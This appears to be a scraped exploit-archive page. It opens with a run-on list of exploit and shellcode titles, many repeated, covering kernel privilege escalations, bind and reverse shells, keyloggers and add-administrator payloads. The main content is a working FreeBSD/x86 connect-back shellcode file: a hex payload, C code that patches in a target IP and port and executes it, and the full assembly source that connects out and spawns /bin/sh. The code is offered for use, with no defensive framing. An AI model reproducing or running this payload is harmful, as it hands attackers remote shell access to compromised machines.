
12 new exploits Linux Kernel 2.6.x (Slackware 9.1 / Debian 3.0) - chown() Group Ownership Alteration Exploit Linux Kernel 2.6.x (Slackware 9.1 / Debian 3.0) - chown() Group Ownership Alteration Privilege Escalation Exploit Linux Kernel < 2.6.31-rc4 - nfs4_proc_lock() Denial of Service FreeBSD/x86 - /bin/cat /etc/master.passwd NULL free shellcode (65 bytes) FreeBSD/x86 - /bin/cat /etc/master.passwd Null Free Shellcode (65 bytes) Linux/x86 - execve shellcode null byte free (Generator) Linux/x86 - execve Null Free shellcode (Generator) Linux/x86 - cmd shellcode null free (Generator) Linux/x86 - cmd Null Free shellcode (Generator) iOS - Version-independent shellcode Linux/x86-64 - bindshell port:4444 shellcode (132 bytes) Linux/x86-64 - bindshell port 4444 shellcode (132 bytes) Solaris/x86 - setuid(0)_ execve(//bin/sh); exit(0) NULL Free shellcode (39 bytes) Solaris/x86 - setuid(0)_ execve(//bin/sh); exit(0) Null Free shellcode (39 bytes) Windows 5.0 < 7.0 x86 - null-free bindshell shellcode Windows 5.0 < 7.0 x86 - Null Free bindshell port 28876 shellcode Win32 - telnetbind by Winexec shellcode (111 bytes) Win32 - telnetbind by Winexec 23 port shellcode (111 bytes) Windows NT/2000/XP - add user _slim_ shellcode for Russian systems (318 bytes) Windows NT/2000/XP (Russian) - Add User _slim_ Shellcode (318 bytes) Windows XP Pro SP2 English - _Message-Box_ Shellcode Null-Free (16 bytes) Windows XP Pro SP2 English - _Wordpad_ Shellcode Null Free (12 bytes) Windows XP Pro SP2 English - _Message-Box_ Null Free Shellcode (16 bytes) Windows XP Pro SP2 English - _Wordpad_ Null Free Shellcode (12 bytes) Linux/x86 - /bin/sh Null-Free Polymorphic Shellcode (46 bytes) Linux/x86 - /bin/sh Polymorphic Null Free Shellcode (46 bytes) Win32 - Add new local administrator shellcode _secuid0_ (326 bytes) Win32 - Add New Local Administrator _secuid0_ Shellcode (326 bytes) ARM - Bindshell port 0x1337shellcode ARM - Bindshell port 0x1337 shellcode Linux Kernel <= 2.6.36 - VIDIOCSMICROCODE IOCTL Local Memory Overwrite Linux Kernel <= 2.4.0 - Stack Infoleaks bsd/x86 - connect back Shellcode (81 bytes) FreeBSD/x86 - connect back Shellcode (81 bytes) Acpid 1:2.0.10-1ubuntu2 (Ubuntu 11.10/11.04) - Privilege Boundary Crossing Local Root Exploit Acpid 1:2.0.10-1ubuntu2 (Ubuntu 11.04/11.10) - Privilege Boundary Crossing Local Root Exploit Linux Kernel 2.0 / 2.1 - SIGIO Linux Kernel 2.0 / 2.1 - Send a SIGIO Signal To Any Process Linux Kernel 2.2 - 'ldd core' Force Reboot Debian 2.1_ Linux Kernel 2.0.x_ RedHat 5.2 - Packet Length with Options Linux Kernel 2.0.x (Debian 2.1 / RedHat 5.2) - Packet Length with Options Linux Kernel 2.2.x - Non-Readable File Ptrace Linux Kernel 2.2.x - Non-Readable File Ptrace Local Information Leak OS X 10.x_ FreeBSD 4.x_OpenBSD 2.x_Solaris 2.5/2.6/7.0/8 exec C Library Standard I/O File Descriptor Closure OS X 10.x_ FreeBSD 4.x_ OpenBSD 2.x_ Solaris 2.5/2.6/7.0/8 - exec C Library Standard I/O File Descriptor Closure Linux Kernel 2.4.18/19 - Privileged File Descriptor Resource Exhaustion Linux Kernel 2.2.x / 2.4.x - Privileged Process Hijacking (1) Linux Kernel 2.2.x / 2.4.x - Privileged Process Hijacking (2) Linux Kernel 2.2.x / 2.4.x - Privileged Process Hijacking Local Root Exploit (1) Linux Kernel 2.2.x / 2.4.x - Privileged Process Hijacking Local Root Exploit (2) Linux Kernel 2.4 - suid execve() System Call Race Condition PoC Linux Kernel 2.4 - suid execve() System Call Race Condition Executable File Read Proof of Concept Linux Kernel 2.5.x / 2.6.x - CPUFreq Proc Handler Integer Handling Linux Kernel 2.5.x / 2.6.x - CPUFreq Proc Handler Integer Handling Memory Read Linux Kernel <= 2.6.32-5 (Debian 6.0.5) - /dev/ptmx Key Stroke Timing Local Disclosure Microsoft Internet Explorer 6.0_ Firefox 0.x_Netscape 7.x - IMG Tag Multiple Vulnerabilities Microsoft Internet Explorer 6.0 / Firefox 0.x / Netscape 7.x - IMG Tag Multiple Vulnerabilities Linux Kernel 2.4.x / 2.6.x - Multiple Unspecified ISO9660 Filesystem Handling Vulnerabilities Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index (Proof of Concept) (1) Linux/x86 - Reverse TCP Bind Shellcode (92 bytes) Linux/x86 - Reverse TCP Bind 192.168.1.10:31337 Shellcode (92 bytes) Linux Kernel 2.2.x / 2.3.x / 2.4.x / 2.5.x / 2.6.x - ELF Core Dump Local Buffer Overflow Linux/x86-64 - Bind TCP port shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shel shellcode l (96 bytes) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Mac OS X < 10.7.5/10.8.2/10.9.5/10.10.2 - 'rootpipe' Privilege Escalation Mac OS X < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Privilege Escalation Windows x86 - user32!MessageBox _Hello World!_ Null-Free shellcode (199 bytes) Windows x86 - user32!MessageBox _Hello World!_ Null Free Shellcode (199 bytes) OS-X/x86-64 - /bin/sh Shellcode NULL Byte Free (34 bytes) OS-X/x86-64 - /bin/sh Null Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell shellcode (2488 bytes) Mainframe/System Z - Bind Shell Port 12345 Shellcode (2488 bytes) OS-X/x86-64 - tcp bind shellcode_ NULL byte free (144 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) Ubuntu Apport - Local Privilege Escalation Apport 2.19 (Ubuntu 15.04) - Local Privilege Escalation Linux/x86-64 - Bindshell with Password shellcode (92 bytes) Linux/x86-64 - Bindshell 31173 port with Password shellcode (92 bytes) Windows XP < 10 - Null-Free WinExec Shellcode (Python) (Generator) Windows XP < 10 - WinExec Null Free Shellcode (Python) (Generator) Linux/x86-64 - bind TCP port shellcode (103 bytes) Linux/x86-64 - TCP Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Windows x86 - Null-Free Download & Run via WebDAV Shellcode (96 bytes) Windows x86 - Download & Run via WebDAV Null Free Shellcode (96 bytes) Linux Kernel 3.10_ 3.18 + 4.4 - netfilter IPT_SO_SET_REPLACE Memory Corruption Linux Kernel 3.10 / 3.18 / 4.4 - netfilter IPT_SO_SET_REPLACE Memory Corruption Windows - Null-Free Shellcode Primitive Keylogger to File (431 (0x01AF) bytes) Windows - Primitive Keylogger to File Null Free Shellcode (431 (0x01AF) bytes) Linux Kernel (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux Kernel (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (Access /etc/shadow) Windows - Null-Free Shellcode Functional Keylogger to File (601 (0x0259) bytes) Windows - Functional Keylogger to File Null Free Shellcode (601 (0x0259) bytes) Linux/x86-64 - Null-Free Reverse TCP Shell shellcode (134 bytes) Linux/x86-64 - Reverse TCP Shell Null Free Shellcode (134 bytes) Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon (83_ 148_ 177 bytes) Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon Shellcode (83_ 148_ 177 bytes) Linux/x86-64 - Subtle Probing Reverse Shell_ Timer_ Burst_ Password_ Multi-Terminal (84_ 122_ 172 bytes) Linux/x86-64 - Subtle Probing Reverse Shell_ Timer_ Burst_ Password_ Multi-Terminal Shellcode (84_ 122_ 172 bytes)
133 lines
No EOL
2.7 KiB
C
Executable file
133 lines
No EOL
2.7 KiB
C
Executable file
/*
|
|
-------------- FreeBSD/x86 - connect back /bin/sh. 81 bytes ----------------
|
|
* AUTHOR : Tosh
|
|
* OS : BSDx86 (Tested on FreeBSD 8.1)
|
|
* EMAIL : tosh@tuxfamily.org
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <arpa/inet.h>
|
|
|
|
char shellcode [] = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
|
|
"\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89"
|
|
"\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9"
|
|
"\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03"
|
|
"\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
|
|
"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
|
|
|
|
void change_shellcode(const char *ip, unsigned short port)
|
|
{
|
|
*((unsigned long*)(shellcode + 15)) = inet_addr(ip);
|
|
*((unsigned short*)(shellcode + 21)) = htons(port);
|
|
}
|
|
void print_shellcode(void)
|
|
{
|
|
int i;
|
|
for(i = 0; i < sizeof(shellcode) - 1; i++)
|
|
{
|
|
printf("\\x%.2x", (unsigned char)shellcode[i]);
|
|
}
|
|
printf("\n");
|
|
}
|
|
int main(void)
|
|
{
|
|
const char ip[] = "127.0.0.1";
|
|
unsigned short port = 1337;
|
|
|
|
change_shellcode(ip, port);
|
|
print_shellcode();
|
|
printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
|
|
void (*f)() = (void*) shellcode;
|
|
|
|
f();
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
; Syscalls nums, on /usr/src/sys/kern/syscalls.master ;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
%define IPPROTO_TCP 6
|
|
%define SOCK_STREAM 1
|
|
%define AF_INET 2
|
|
|
|
%define SYS_EXECV 59
|
|
%define SYS_DUP2 90
|
|
%define SYS_SOCKET 97
|
|
%define SYS_CONNECT 98
|
|
|
|
section .text
|
|
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
; socket()
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
push eax
|
|
push byte SOCK_STREAM
|
|
push byte AF_INET
|
|
|
|
mov al, SYS_SOCKET
|
|
push eax
|
|
int 0x80
|
|
mov edx, eax
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
; sockaddr_in
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
push 0x0100007f
|
|
push word 0x3905
|
|
push word 0x0201
|
|
mov ecx, esp
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;
|
|
; connect()
|
|
;;;;;;;;;;;;;;;;;;;;;
|
|
push byte 16
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
mov al, SYS_CONNECT
|
|
push eax
|
|
int 0x80
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;
|
|
; dup2()
|
|
;;;;;;;;;;;;;;;;;;;;;
|
|
xor ecx, ecx
|
|
.L:
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
mov al, SYS_DUP2
|
|
push eax
|
|
int 0x80
|
|
|
|
inc cl
|
|
cmp cl, 3
|
|
jne .L
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
; execv("/bin/sh")
|
|
;;;;;;;;;;;;;;;;;;;;;;
|
|
xor eax, eax
|
|
|
|
push eax
|
|
|
|
push '//sh'
|
|
push '/bin'
|
|
|
|
mov ebx, esp
|
|
|
|
push eax
|
|
push esp
|
|
push ebx
|
|
mov al, SYS_EXECV
|
|
push eax
|
|
int 0x80
|
|
*/ |